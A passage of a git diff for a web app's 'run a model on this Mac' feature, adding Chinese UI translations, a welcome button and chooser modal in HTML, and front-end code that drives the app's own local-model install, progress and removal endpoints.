个 Token(估算)。', - '{harness} is not installed on this Mac yet.': '此 Mac 上尚未安装 {harness}。', - 'With {harness}, the first answer can take minutes.': '使用 {harness} 时,第一次回答可能需要几分钟。', - 'about {speed} tokens per second': '每秒约 {speed} 个 Token', - // What the fit and speed labels measure (their tooltip and accessible name). - 'Memory fit: needs {share}% of what this Mac can give a model': - '内存占用:需要此 Mac 可分配给模型的内存的 {share}%', - 'No speed estimate for this model on this chip': '此芯片上没有该模型的速度估算', - 'Other models that fit': '其他装得下的模型', - 'Codeman cannot download or install this for you yet. That is the next step, and it is not built yet.': - '{name} 目前还不能为你下载或安装它。这是下一步的功能,尚未实现。', + // The App Settings row: where the install stands, in a few words. + 'No model installed': '尚未安装模型', + 'Installing {model}': '正在安装 {model}', + 'The install of {model} is paused': '{model} 的安装已暂停', + 'The install of {model} stopped': '{model} 的安装已中止', + '{model} is running': '{model} 正在运行', + '{model} is installed and stopped': '{model} 已安装,当前已停止', + 'Checking this Mac': '正在检查此 Mac', + // The chooser: the memory bar, the list, the coding agent. + 'About {need} of {budget} GB of memory': '约需 {need} GB 内存,共 {budget} GB 可用', + estimated: '估算', + 'The selected model needs {share}% of the memory this Mac can give a model': + '所选模型需要此 Mac 可分配给模型的内存的 {share}%', + 'The model at {context} tokens of context': '模型在 {context} 个 Token 上下文下的占用', + 'What stays free': '剩余可用', + 'Models that fit this Mac': '此 Mac 装得下的模型', + Speed: '速度', + Download: '下载', + 'speed not known': '速度未知', + '{speed} tokens/s': '{speed} Token/秒', + 'about {speed} tokens/s': '约 {speed} Token/秒', + 'Runs with': '搭配', + 'Not on this Mac yet. It is installed for you.': '此 Mac 上尚未安装,将为你一并安装。', + 'The first answer can take minutes.': '第一次回答可能需要几分钟。', + 'No account and no API key. The model runs only on this Mac.': '无需账号,也无需 API 密钥。模型只在此 Mac 上运行。', + 'Install on this Mac': '安装到此 Mac', + // The confirm screen: what is downloaded, where it goes. + 'Runs with {cli}, at {context} tokens of context.': '搭配 {cli},上下文为 {context} 个 Token。', + 'What is downloaded': '将下载的内容', + 'Ollama {version}, the program that runs the model': 'Ollama {version},用于运行模型的程序', + Total: '合计', + '{cli} is not on this Mac yet. Its own installer is run with this command:': + '此 Mac 上尚未安装 {cli}。将用以下命令运行它自带的安装程序:', + '{cli} is not on this Mac yet. It is installed with its own installer.': + '此 Mac 上尚未安装 {cli}。将用它自带的安装程序进行安装。', + 'The model and the program that runs it go into:': '模型和运行它的程序将存放在:', + 'No administrator password.': '无需管理员密码。', + 'Download and install': '下载并安装', + // Progress, and the same picture paused. + '{done} of {total} GB': '已下载 {done} GB,共 {total} GB', + '{speed} MB per second, {left}': '每秒 {speed} MB,{left}', + '{speed} MB per second': '每秒 {speed} MB', + 'less than a minute left': '剩余不到 1 分钟', + 'about 1 minute left': '剩余约 1 分钟', + 'about {minutes} minutes left': '剩余约 {minutes} 分钟', + 'about 1 hour left': '剩余约 1 小时', + 'about {hours} hours left': '剩余约 {hours} 小时', + 'Getting the runtime': '获取运行时', + 'Downloading the model': '下载模型', + 'Loading and checking': '加载并检查', + 'Installing {cli}': '安装 {cli}', + Connecting: '正在连接', + 'You can close this window. The download continues while Codeman is running.': + '你可以关闭此窗口。只要 {name} 在运行,下载就会继续。', + 'Nothing is downloaded until you continue.': '在你继续之前不会下载任何内容。', + Continue: '继续', + 'Choose another model': '选择其他模型', + // After an error: the one action that helps. + 'Use another port': '改用其他端口', + 'Try {model}': '试试 {model}', + Start: '启动', + 'The server did not accept that.': '服务器未接受该请求。', + // Installed, and the Remove question. + '{model} is ready on this Mac.': '{model} 已在此 Mac 上准备就绪。', + '{model} is installed on this Mac.': '{model} 已安装在此 Mac 上。', + 'Runs with {cli}.': '搭配 {cli} 运行。', + 'Context {context} tokens. Takes {memory} GB of memory when loaded, all on the GPU.': + '上下文 {context} 个 Token。加载后占用 {memory} GB 内存,全部位于 GPU 上。', + 'Context {context} tokens. Takes {memory} GB of memory when loaded.': + '上下文 {context} 个 Token。加载后占用 {memory} GB 内存。', + 'Context {context} tokens.': '上下文 {context} 个 Token。', + 'Start a session': '开始会话', + 'Remove the local model from this Mac?': '要从此 Mac 移除本地模型吗?', + 'Also delete the downloaded model': '同时删除已下载的模型', + 'The coding agent stays installed.': '编程智能体会保留,不会被卸载。', // The sentences and labels the SERVER picks (LOCAL_MODEL_LABELS in src/types/local-model.ts), keyed // by their exact English text: changing a text there means changing its key here. 'Best fit for this Mac': '最适合此 Mac 的选择', @@ -1471,6 +1528,49 @@ '此 Mac 运行的是 macOS {version}。本地模型需要 macOS {minimum} 或更高版本。', 'No coding agent that Codeman can connect to a local model is available on this Mac.': '此 Mac 上没有 {name} 可以连接到本地模型的编程智能体。', + // The tag of a model row (LOCAL_MODEL_TAG_LABELS in src/types/local-model.ts). Tight and Slow are + // the entries above. + 'Tested on a Mac like this': '已在同类 Mac 上测试', + 'Best fit': '最适合', + 'Small model': '小型模型', + // The sentences of the install (LOCAL_MODEL_INSTALL_LABELS in src/types/local-model-install.ts): + // why a job stopped, why a request was refused, and the one sentence about the developer tools. + 'The download of the runtime stopped and could not be continued. Check the network connection, then try again.': + '运行时的下载已中断,且无法继续。请检查网络连接,然后重试。', + 'The runtime download was damaged and has been deleted. Try again.': '下载的运行时已损坏,已被删除。请重试。', + 'The runtime could not be unpacked on this Mac.': '无法在此 Mac 上解压运行时。', + 'The runtime did not start on this Mac.': '运行时未能在此 Mac 上启动。', + 'The runtime keeps stopping, so Codeman no longer restarts it.': '运行时反复停止,因此 {name} 不再重新启动它。', + 'The model on this Mac is not running. Start it first.': '此 Mac 上的模型没有在运行。请先启动它。', + 'Port {port} is in use by another program.': '端口 {port} 已被其他程序占用。', + 'The disk is full. Free up space, then try again.': '磁盘已满。请腾出空间,然后重试。', + 'The download keeps stopping. The network may be damaging data. Try again or use another network.': + '下载反复中断。网络可能正在损坏数据。请重试,或换一个网络。', + '{model} is no longer offered under this name. Update Codeman or pick another model.': + '{model} 已不再以此名称提供。请更新 {name},或选择其他模型。', + '{model} does not fit in the memory of this Mac after all.': '{model} 终究装不进此 Mac 的内存。', + '{model} loaded with a context of {actual} tokens instead of {wanted}.': + '{model} 加载时的上下文为 {actual} 个 Token,而不是 {wanted} 个。', + '{model} did not load on this Mac.': '{model} 未能在此 Mac 上加载。', + '{model} loaded but did not call a tool, so a coding agent cannot work with it.': + '{model} 已加载,但没有调用工具,因此编程智能体无法使用它。', + 'The check of {model} did not finish.': '对 {model} 的检查没有完成。', + '{cli} could not be installed.': '无法安装 {cli}。', + 'A saved model connection named {id} already exists and was not created here. Rename or delete it in App Settings, then try again.': + '已存在名为 {id} 的已保存模型连接,而它不是在这里创建的。请在“应用设置”中重命名或删除它,然后重试。', + 'Codeman could not save the connection to the model.': '{name} 无法保存与模型的连接。', + 'The model on this Mac changed since it was installed. Remove it and install it again.': + '此 Mac 上的模型在安装后发生了变化。请移除后重新安装。', + 'The install stopped on an unexpected error.': '安装因意外错误而中止。', + 'An install is already running.': '已有一个安装正在进行。', + 'A model is already installed on this Mac. Remove it first.': '此 Mac 上已安装了一个模型。请先移除它。', + 'The download is {size} GB now. Check the sizes and confirm again.': + '现在的下载大小为 {size} GB。请核对大小后再次确认。', + 'Sessions are still using this model: {sessions}. Close them first.': + '仍有会话在使用此模型:{sessions}。请先关闭它们。', + 'That is not possible in the current state.': '当前状态下无法执行此操作。', + 'Coding agents use git and Python. This Mac has no developer tools yet, so macOS will offer to install them the first time an agent needs one.': + '编程智能体会用到 git 和 Python。此 Mac 尚未安装开发者工具,因此在智能体首次需要时,macOS 会提示安装。', }); const ZH_CN_LOWER = new Map(Object.entries(ZH_CN).map(([key, value]) => [key.toLocaleLowerCase('en'), value])); diff --git a/src/web/public/index.html b/src/web/public/index.html index 8026b7ce..abd35e38 100644 --- a/src/web/public/index.html +++ b/src/web/public/index.html @@ -511,6 +511,17 @@ contents on every state change and owns its inline display. --> <div class="welcome-actions"> <div class="welcome-cli-actions" id="welcomeCliActions"></div> + <!-- A model that runs on the Mac the server runs on (local-model-ui.js). + One button in the chip family, a sibling of the launcher slot and + never inside it (renderWelcomeCliActions empties that slot on every + state change). Ships `hidden`: only that module reveals it, once the + server has answered for a Mac. It opens the chooser window + (#localModelModal) and the module writes its label through its own + translator call, hence data-i18n-skip. --> + <button type="button" class="welcome-chip welcome-local-model" id="welcomeLocalModelBtn" data-i18n-skip hidden onclick="app.openLocalModelWindow()"> + <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.9" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><rect x="6" y="6" width="12" height="12" rx="2"/><path d="M9.5 2.5v3.5M14.5 2.5v3.5M9.5 18v3.5M14.5 18v3.5M2.5 9.5H6M2.5 14.5H6M18 9.5h3.5M18 14.5h3.5"/></svg> + <span class="welcome-label" id="welcomeLocalModelLabel">Run a local model</span> + </button> <button type="button" class="welcome-tunnel-link" id="welcomeTunnelBtn" style="display: none;" onclick="app.toggleTunnelFromWelcome()"> <svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 2L2 7l10 5 10-5-10-5z"/><path d="M2 17l10 5 10-5"/><path d="M2 12l10 5 10-5"/></svg> Cloudflare Tunnel @@ -583,14 +594,6 @@ </div> <div class="history-list" id="historyList"></div> </div> - <!-- What the Mac the server runs on can run as a local coding model - (local-model-ui.js). Read-only. Ships `hidden` and only that module - reveals it, once the server has answered for a Mac: a server on - another system never shows it, and the user can hide it per device. - The module writes every string through its own translator call - (model and chip names are not ours to translate), hence - data-i18n-skip. --> - <section class="local-model-card" id="localModelCard" aria-labelledby="localModelCardTitle" data-i18n-skip hidden></section> <!-- Sessions a human started outside Codeman (foreign-sessions.js). Hidden until a scan finds one; never rendered empty on a fresh install, where an empty block reads as a broken feature. --> @@ -2876,20 +2879,24 @@ </div> </div> - <!-- What the Mac the server runs on can run as a local model (local-model-ui.js). - Read-only: the module fills the row from GET /api/local-model, the same body - the welcome card shows, through its own translator call (hence data-i18n-skip - on the row's text). The module shows the group only once the server has + <!-- The model that runs on the Mac the server runs on (local-model-ui.js). One row: + the state in a few words, written by the module from GET /api/local-model + through its own translator call (hence data-i18n-skip on the text and on the + button), and a button that opens the chooser window (#localModelModal), where + everything happens. The module shows the group only once the server has answered for a Mac: it hides it for a server on another system (the title and hint are about "this Mac"), while the first request is in flight, and - for a non-admin in multi-user mode (the route is admin-only). Not gated on - the endpoints toggle above: the answer does not depend on it. --> + for a non-admin in multi-user mode (the routes are admin-only). Not gated on + the endpoints toggle above: an install switches that on itself. --> <div class="set-group" id="localModelGroup"> <div class="set-group-head"><h4>Model on this Mac</h4></div> - <p class="set-group-hint">What the Mac that Codeman runs on can run as a local coding model. Read-only: nothing is downloaded or installed from here.</p> + <p class="set-group-hint">Run a coding model on the Mac that Codeman runs on. No account and no API key.</p> <div class="set-group-body"> - <div class="set-row" data-search="local model mac apple silicon memory llm recommendation offline"> + <div class="set-row" data-search="local model mac apple silicon memory llm offline install download ollama"> <div class="set-row-text" id="localModelSettings" data-i18n-skip aria-live="polite"></div> + <div class="set-row-actions"> + <button type="button" class="btn-toolbar btn-sm" id="localModelSettingsOpen" data-i18n-skip onclick="app.openLocalModelWindow()">Open</button> + </div> </div> </div> </div> @@ -3671,6 +3678,24 @@ </div> </div> + <!-- The local model window (local-model-ui.js): choose a model, confirm the sizes, + watch the download, start a session. Opened by the welcome button and by the + row in App Settings > Models; placed AFTER #appSettingsModal so it stacks above + it when opened from there. The module fills the body from GET /api/local-model + through its own translator call (model, agent and chip names are someone + else's text), hence data-i18n-skip on the body; the title and the close button + are static and go through the page translator. --> + <div class="modal" id="localModelModal" role="dialog" aria-modal="true" aria-labelledby="localModelModalTitle"> + <div class="modal-backdrop" onclick="app.closeLocalModelWindow()"></div> + <div class="modal-content local-model-window"> + <div class="modal-header"> + <h3 id="localModelModalTitle">Run a model on this Mac</h3> + <button class="modal-close" onclick="app.closeLocalModelWindow()" aria-label="Close">×</button> + </div> + <div class="modal-body lm-body" id="localModelWindowBody" data-i18n-skip></div> + </div> + </div> + <!-- Shortcut Overlay Modal --> <div class="modal shortcut-overlay-modal" id="shortcutOverlayModal" tabindex="-1"> <div class="modal-backdrop" onclick="app.closeShortcutOverlay()"></div> diff --git a/src/web/public/local-model-ui.js b/src/web/public/local-model-ui.js index 92c02af0..2609ddf2 100644 --- a/src/web/public/local-model-ui.js +++ b/src/web/public/local-model-ui.js @@ -1,56 +1,67 @@ /** - * @fileoverview The "model on this Mac" card of the welcome screen and its row in App Settings. + * @fileoverview "Run a model on this Mac": the welcome button, the chooser window and the row in + * App Settings > Models. * - * Reads `GET /api/local-model` (hardware of the machine the server runs on, the recommendation, - * the catalogue date) and shows, read-only: - * - the hardware line (chip, memory, free disk); - * - the verdict: the headline the server sent, then the pick with its numbers (model, harness, - * context, memory need against the budget, download size, speed) and the notes; - * - one line saying that Codeman cannot download or install the model yet: that is the next - * step and is not built. It sits right under the pick, where a reader looks for a button; - * - the other models that fit, each with its fit and speed label. A label says what it - * measures in its tooltip and accessible name ("Good" is the memory fit, not a rating of - * the model), and an alternative with a speed estimate prints the figure. + * Reads `GET /api/local-model` (the hardware of the machine the server runs on, the + * recommendation, and `install`: where the install stands and what can be done about it) and + * drives the install verbs: * - * ## One body, two containers + * POST /api/local-model/install { modelId, cli, context, acknowledgedBytes } + * POST /api/local-model/cancel + * POST /api/local-model/resume { newPort? } + * POST /api/local-model/runtime { action: 'start' | 'stop', newPort? } + * DELETE /api/local-model { removeModel } * - * The welcome card (`#localModelCard`) and the App Settings row (`#localModelSettings`) are - * painted from the same payload by the same builder (`localModelBody`), so the two can never - * name a different pick. They differ only in chrome: the card has a title and a Hide button and - * folds the alternatives; the row lists them open. + * ## Three surfaces, one window * - * ## When the card shows + * - Welcome screen: ONE button (`#welcomeLocalModelBtn`) under the launchers, in the chip + * family. "Run a local model", or "Local model" once one is installed. Ships `hidden` and + * shows only once the server has answered for a Mac. + * - App Settings > Models: one row (`#localModelSettings`), the state in a few words, and a + * button that opens the window. + * - The window (`#localModelModal`): everything happens here. Which screen it shows follows + * `install.state`, plus the one choice the page holds itself (chooser or confirm): * - * The card ships `hidden` and appears only once the server has answered for a Mac. It stays - * hidden while the first request is in flight and after a failed one (nothing is known about the - * machine then, and an error card would be the only thing this feature ever showed on a server - * that is not a Mac), when the answer is `not-macos`, when the request is refused (a non-admin in - * multi-user mode gets a `403 FORBIDDEN`, which is an answer: stop asking) and after the user hid - * it on this device. + * | Screen | When | + * |-------------|-------------------------------------------------------------------| + * | `choose` | idle: the memory bar, the models that fit as a radio group, the | + * | | coding agent, "Install on this Mac" | + * | `confirm` | after that button: what is downloaded with sizes, where it goes | + * | `progress` | installing: the download bar, the steps, Cancel | + * | `paused` | paused (Cancel or a server restart): Continue or Remove | + * | `failed` | failed: the server's sentence and the ONE action that helps | + * | `installed` | installed: running or stopped, Start a session, Stop/Start, Remove | + * | `none` | idle and nothing fits: the hardware line, the reason, Close | * - * The Settings group ("Model on this Mac") follows the same knowledge: it is hidden for - * `not-macos` (most servers are not a Mac, and a group about "this Mac" there is false), for a - * refused request and while the first request is in flight (nothing says yet that the server is - * a Mac). It shows the answer for a Mac, and one failure sentence when the first request - * failed. It is the way back to the numbers after a Hide. + * The memory bar is the one strong element: the memory this Mac can give a model, filled to + * what the selected model needs (`budgetShare`). Selecting another row moves the fill. * - * "Refused" means the envelope's `errorCode` is `FORBIDDEN`. The auth layer has a second 403 for - * every /api route (`PASSWORD_CHANGE_REQUIRED`, an admin who must change the password first): - * that one is a failed request, asked again on the next show and on `codeman:me`. + * ## Polling * - * Rules: - * - Read-only: no control here downloads, installs or writes anything but the per-device - * dismissal (a localStorage key, never a server setting). - * - Every dynamic string goes in through `textContent`. Model, harness and chip names are - * someone else's text, so both containers carry `data-i18n-skip` and this file translates - * its own sentences at render time. A language or display-name change therefore re-renders - * (`<html lang>` is written by every i18n `configure()`). - * - Names and labels come from the payload: this file holds no list of models or harnesses and - * never compares a CLI id with a literal. - * - Sizes are printed exactly as sent (`needGb`, `downloadGb`, `budgetGb`, `freeDiskGb`: - * decimal GB as text). Bytes are never divided here. The installed memory is the one size - * that is not decimal GB: the hardware line prints `memClassGb`, the size the Mac is sold as - * (48, not 51.5), which is what About This Mac shows. + * The window asks the GET once a second WHILE IT IS OPEN, and never otherwise (there is no SSE + * event). Closing it clears the timer. The welcome button and the Settings row use the same + * answer and ask at most once a minute by themselves. A poll that changes nothing repaints + * nothing, and a repaint puts the keyboard focus back where it was. + * + * ## Rules + * + * - Every dynamic string goes in through `textContent`. Model, coding agent and chip names, an + * error's raw detail and a session name are someone else's text, so the window body, the + * button and the row carry `data-i18n-skip` and this file translates its own sentences at + * render time. A language or display-name change therefore repaints (`<html lang>` is + * written by every i18n `configure()`). + * - Names and labels come from the payload: this file holds no list of models or coding + * agents and never compares a CLI id with a literal. The id is passed on as data + * (`cli` of the install request, the session start). + * - Sizes are printed exactly as sent (`needGb`, `budgetGb`, `downloadGb`, `installGb`, + * `completedGb`, `totalGb`: decimal GB as text). Bytes are never turned into a size here. + * The installed memory alone is `memClassGb`, the size the Mac is sold as. The two byte + * figures this file does read are the consent total (sent back unchanged as + * `acknowledgedBytes`) and the two ends of a bar. + * - The consent is bound to the size shown: the install request carries the server's own total + * for the row (`Candidate.installBytes`), and a 409 `size-changed` shows the server's new + * total and asks again. + * - A button exists only for an action the server lists in `install.actions`. * - A sentence the server chose arrives as `{ text, vars }` and goes through * `localModelT(text, vars)`; this file's own strings are literals in that same call, in * `{placeholder}` form, so the i18n test can harvest them. Both kinds need a zh-CN entry in @@ -60,21 +71,20 @@ * @mixin Extends CodemanApp.prototype via Object.assign * @dependency app.js (CodemanApp) * @dependency api-client.js (_api) + * @dependency keyboard-accessory.js (FocusTrap, optional) + * @dependency session-ui.js (selectCustomModelEntry, for "Start a session") + * @dependency settings-ui.js (loadAppSettingsFromServer, loadCliListForSettings, optional) * @dependency constants.js (CodemanBase, optional) * @dependency i18n.js (codemanT, optional) * @loadorder 12.59 of 16, after edit-history-ui.js, before entrance-animations.js */ -/** - * Per-device dismissal of the welcome card, named for THIS stage (the read-only card). The stage - * that can set a model up takes a key of its own, so hiding a card that offers nothing yet does - * not hide the offer later. - */ -const LOCAL_MODEL_DISMISS_KEY = 'codeman:local-model-dismissed:readonly'; - /** The server caches its hardware probe for a minute, so asking again sooner cannot change the answer. */ const LOCAL_MODEL_MAX_AGE_MS = 60000; +/** How often the open window asks where the install stands. */ +const LOCAL_MODEL_POLL_MS = 1000; + /** i18n.js's translator with the `{placeholder}` slots filled, or the English source filled the same way. */ function localModelT(source, vars) { const values = vars && typeof vars === 'object' ? vars : {}; @@ -111,7 +121,7 @@ function localModelSpeed(value) { return String(value >= 10 ? Math.round(value) : Math.round(value * 10) / 10); } -/** Whether the page already knows the route will refuse it (a non-admin in multi-user mode). */ +/** Whether the page already knows the routes will refuse it (a non-admin in multi-user mode). */ function localModelNotAdmin() { const me = (typeof window !== 'undefined' && window.__codemanUser) || {}; return !!(me.multiUser && me.role !== 'admin'); @@ -133,145 +143,6 @@ function localModelHardwareLine(hw) { return localModelT('{memory} GB memory', sizes); } -/** What the fit label measures: the share of the memory budget the model needs. */ -function localModelFitHint(candidate) { - if (!Number.isFinite(candidate.budgetShare)) return ''; - const share = String(Math.round(candidate.budgetShare * 100)); - return localModelT('Memory fit: needs {share}% of what this Mac can give a model', { share }); -} - -/** What the speed label stands for: the estimate behind "Slow", or that there is none. */ -function localModelSpeedHint(candidate) { - const speed = localModelSpeed(candidate.tokensPerSecond); - if (speed) return localModelT('About {speed} tokens per second (estimated).', { speed }); - return localModelT('No speed estimate for this model on this chip'); -} - -/** - * "Qwen3.8 27B (qwen3.8:27b) with OpenCode", then the fit and speed labels the server chose. - * A bare "Good" next to a model name reads as a rating of the model, so each label carries what - * it measures as its tooltip and its accessible name. - */ -function localModelCandidateHead(candidate) { - const head = localModelEl('div', 'local-model-name-row'); - const name = localModelT('{model} ({id}) with {harness}', { - model: candidate.modelLabel || candidate.modelId, - id: candidate.modelId, - harness: candidate.cliLabel || candidate.cli, - }); - head.appendChild(localModelEl('span', 'local-model-name', name)); - const pills = [ - [candidate.fitLabel, localModelFitHint], - [candidate.speedLabel, localModelSpeedHint], - ]; - for (const [label, hint] of pills) { - if (typeof label !== 'string' || !label) continue; - const pill = localModelEl('span', 'local-model-pill', localModelT(label)); - const meaning = hint(candidate); - if (meaning) { - pill.title = meaning; - pill.setAttribute('role', 'note'); - pill.setAttribute('aria-label', `${pill.textContent}. ${meaning}`); - } - head.appendChild(pill); - } - return head; -} - -/** - * The dim line under a candidate's name: context, then for an alternative its memory need and, - * when there is an estimate, its speed (so "Slow" comes with a number on a screen without - * hover), the download, and for the pick the license. - */ -function localModelMeta(candidate, { alternative = false } = {}) { - const bits = [localModelT('Context {context} tokens', { context: localModelCount(candidate.context) })]; - if (alternative && candidate.needGb) bits.push(localModelT('{need} GB of memory', { need: candidate.needGb })); - if (candidate.downloadGb) bits.push(localModelT('{download} GB download', { download: candidate.downloadGb })); - const speed = alternative ? localModelSpeed(candidate.tokensPerSecond) : ''; - if (speed) bits.push(localModelT('about {speed} tokens per second', { speed })); - if (!alternative && candidate.license) bits.push(String(candidate.license)); - return bits.join(' · '); -} - -/** The pick with its numbers. */ -function localModelPick(pick, recommendation) { - const box = localModelEl('div', 'local-model-pick'); - box.appendChild(localModelCandidateHead(pick)); - box.appendChild(localModelEl('div', 'local-model-line', localModelMeta(pick))); - const sizes = { need: pick.needGb, budget: recommendation.budgetGb }; - // A wired limit is a setting of this Mac; anything else is the formula's estimate, and says so. - const need = - recommendation.budgetSource === 'wired-limit' - ? localModelT('Needs about {need} GB of the {budget} GB this Mac can give a model.', sizes) - : localModelT('Needs about {need} GB of the {budget} GB this Mac can give a model (estimated).', sizes); - box.appendChild(localModelEl('div', 'local-model-line', need)); - const speed = localModelSpeed(pick.tokensPerSecond); - if (speed) { - const line = localModelT('About {speed} tokens per second (estimated).', { speed }); - box.appendChild(localModelEl('div', 'local-model-line', line)); - } - const harness = pick.cliLabel || pick.cli; - if (pick.cliInstalled === false) { - const line = localModelT('{harness} is not installed on this Mac yet.', { harness }); - box.appendChild(localModelEl('div', 'local-model-line', line)); - } - if (pick.slowFirstTurn === true) { - const line = localModelT('With {harness}, the first answer can take minutes.', { harness }); - box.appendChild(localModelEl('div', 'local-model-line', line)); - } - return box; -} - -/** - * The other models that fit. Folded behind a native disclosure on the welcome card, open in - * Settings. No count beside the title: the server lists four at most, so the number of rows is - * not the number of models that fit. - */ -function localModelAlternatives(alternatives, fold) { - const wrap = localModelEl(fold ? 'details' : 'div', 'local-model-alts'); - const title = localModelEl(fold ? 'summary' : 'div', 'local-model-alts-title', localModelT('Other models that fit')); - wrap.appendChild(title); - for (const candidate of alternatives) { - const row = localModelEl('div', 'local-model-alt'); - row.appendChild(localModelCandidateHead(candidate)); - row.appendChild(localModelEl('div', 'local-model-line', localModelMeta(candidate, { alternative: true }))); - wrap.appendChild(row); - } - return wrap; -} - -/** - * Everything the server said, in reading order. The ONLY builder: the card and the Settings row - * both call it, see @fileoverview. - */ -function localModelBody(status, { fold }) { - const hardware = status.hardware || {}; - const recommendation = status.recommendation || {}; - const body = localModelEl('div', 'local-model-body'); - // Not a Mac: one plain sentence, and no line calling another machine's parts "this Mac". - const hardwareLine = recommendation.reason === 'not-macos' ? '' : localModelHardwareLine(hardware); - if (hardwareLine) body.appendChild(localModelEl('div', 'local-model-hw', hardwareLine)); - const headline = localModelMessage(recommendation.headline); - if (headline) body.appendChild(localModelEl('div', 'local-model-headline', headline)); - const pick = recommendation.verdict === 'none' ? null : recommendation.pick; - if (pick) body.appendChild(localModelPick(pick, recommendation)); - for (const note of Array.isArray(recommendation.notes) ? recommendation.notes : []) { - const text = localModelMessage(note); - if (text) body.appendChild(localModelEl('div', 'local-model-note', text)); - } - // Right under the pick and its notes, above the list: the pick names a download and maybe a - // harness that is not installed, so this is where a reader looks for a button. - if (pick) { - const next = localModelT( - 'Codeman cannot download or install this for you yet. That is the next step, and it is not built yet.' - ); - body.appendChild(localModelEl('div', 'local-model-next', next)); - } - const alternatives = pick && Array.isArray(recommendation.alternatives) ? recommendation.alternatives : []; - if (alternatives.length) body.appendChild(localModelAlternatives(alternatives, fold)); - return body; -} - /** The `data` of the GET, or null for anything that is not one. */ function localModelPayload(body) { const data = body && body.success === true ? body.data : null; @@ -280,17 +151,145 @@ function localModelPayload(body) { return data; } +/** + * The `install` object of the payload. A server that does not send one yet is read as "nothing + * installed, and nothing can be done from here": the chooser shows without its button. + */ +function localModelInstall(status) { + const install = status && status.install && typeof status.install === 'object' ? status.install : null; + if (install && typeof install.state === 'string') { + return { ...install, actions: Array.isArray(install.actions) ? install.actions : [] }; + } + return { state: 'idle', running: false, developerTools: 'unknown', actions: [] }; +} + +/** The rows of the chooser: the pick first, then the other models that fit. */ +function localModelCandidates(status) { + const recommendation = (status && status.recommendation) || {}; + if (recommendation.verdict === 'none' || !recommendation.pick) return []; + const rest = Array.isArray(recommendation.alternatives) ? recommendation.alternatives : []; + return [recommendation.pick, ...rest].filter((row) => row && typeof row.modelId === 'string'); +} + +/** + * The coding agents a row can run with. A payload without the list means the one agent of the + * row's flat fields. + */ +function localModelHarnesses(candidate) { + if (Array.isArray(candidate.harnesses) && candidate.harnesses.length) return candidate.harnesses; + return [ + { + cli: candidate.cli, + cliLabel: candidate.cliLabel, + installed: candidate.cliInstalled !== false, + slowFirstTurn: candidate.slowFirstTurn === true, + }, + ]; +} + +/** + * The server's own total for a row: what a click on Install downloads, in bytes. A payload + * without it means the model plus the runtime archive while the runtime is not installed. + */ +function localModelInstallBytes(candidate, install) { + if (Number.isFinite(candidate.installBytes)) return candidate.installBytes; + const runtime = install.runtime && Number.isFinite(install.runtime.downloadBytes) ? install.runtime.downloadBytes : 0; + return (Number.isFinite(candidate.downloadBytes) ? candidate.downloadBytes : 0) + runtime; +} + +/** A size as sent (decimal GB text) with its unit. The unit is the same in every language. */ +function localModelGb(value) { + return `${value} GB`; +} + +/** "about 68 tokens/s", the measured figure without "about", or that there is none. */ +function localModelSpeedText(candidate) { + const speed = localModelSpeed(candidate.tokensPerSecond); + if (!speed) return localModelT('speed not known'); + if (candidate.tested === true) return localModelT('{speed} tokens/s', { speed }); + return localModelT('about {speed} tokens/s', { speed }); +} + +/** How long a download still takes, in the words of a person. Empty when the server sent no figure. */ +function localModelTimeLeft(seconds) { + if (!Number.isFinite(seconds) || seconds < 0) return ''; + if (seconds < 60) return localModelT('less than a minute left'); + if (seconds < 3600) { + const minutes = Math.max(1, Math.round(seconds / 60)); + if (minutes === 1) return localModelT('about 1 minute left'); + return localModelT('about {minutes} minutes left', { minutes: String(minutes) }); + } + const hours = Math.max(1, Math.round(seconds / 3600)); + if (hours === 1) return localModelT('about 1 hour left'); + return localModelT('about {hours} hours left', { hours: String(hours) }); +} + +/** What a step of the install is called. The coding agent's name comes from the payload. */ +function localModelStepLabel(step, cliLabel) { + if (step === 'runtime') return localModelT('Getting the runtime'); + if (step === 'model') return localModelT('Downloading the model'); + if (step === 'verify') return localModelT('Loading and checking'); + if (step === 'agent') return localModelT('Installing {cli}', { cli: cliLabel }); + if (step === 'connect') return localModelT('Connecting'); + return String(step); +} + +/** + * A button of the window, in the button set of the Git worktrees dialog (`wt-btn`): its main + * action reads as one on every skin, and the phone toolbar's sizing does not reach it. + */ +function localModelButton(label, { key, primary = false, danger = false, disabled = false, onClick } = {}) { + const button = localModelEl('button', 'wt-btn lm-btn', label); + button.type = 'button'; + if (primary) button.classList.add('wt-btn-primary'); + if (danger) button.classList.add('wt-btn-danger'); + if (key) button.dataset.lmKey = key; + if (disabled) button.disabled = true; + if (typeof onClick === 'function') button.addEventListener('click', onClick); + return button; +} + +/** + * The bar: a track filled to `share` (0 to 1). `kind` names it for the width transition: a + * repaint starts the new bar at the width the last one of its kind had, so a selection or a + * poll moves the fill instead of redrawing it. + */ +function localModelBar({ share, role, label, kind, from }) { + const percent = Math.max(0, Math.min(100, Math.round((Number.isFinite(share) ? share : 0) * 100))); + const bar = localModelEl('div', 'lm-bar'); + bar.setAttribute('role', role); + bar.setAttribute('aria-valuemin', '0'); + bar.setAttribute('aria-valuemax', '100'); + bar.setAttribute('aria-valuenow', String(percent)); + if (label) bar.setAttribute('aria-label', label); + const fill = localModelEl('div', 'lm-bar-fill'); + fill.dataset.kind = kind; + fill.dataset.to = String(percent); + fill.style.width = `${Number.isFinite(from) ? from : percent}%`; + bar.appendChild(fill); + return bar; +} + +/** One line of the confirm screen's download list: what, and how large. */ +function localModelSizeRow(label, gb, { strong = false } = {}) { + const row = localModelEl('div', strong ? 'lm-size-row lm-size-total' : 'lm-size-row'); + row.appendChild(localModelEl('span', 'lm-size-what', label)); + row.appendChild(localModelEl('span', 'lm-size-gb', localModelGb(gb))); + return row; +} + Object.assign(CodemanApp.prototype, { // ═══════════════════════════════════════════════════════════════ // Data // ═══════════════════════════════════════════════════════════════ /** - * Ask the server what this Mac can run, at most once a minute, and paint both containers. - * Called when the welcome screen shows and when App Settings opens. Idempotent: a request in - * flight is shared, and a fresh answer is only re-rendered. + * Ask the server what this Mac can run and where the install stands, and paint every surface. + * Called when the welcome screen shows and when App Settings opens (at most one request a + * minute then), and with `force` by the open window's poll and after a verb. Idempotent: a + * request in flight is shared. */ - loadLocalModel() { + loadLocalModel({ force = false } = {}) { this._wireLocalModel(); if (this._localModelRefused()) { this.renderLocalModel(); @@ -298,7 +297,7 @@ Object.assign(CodemanApp.prototype, { } if 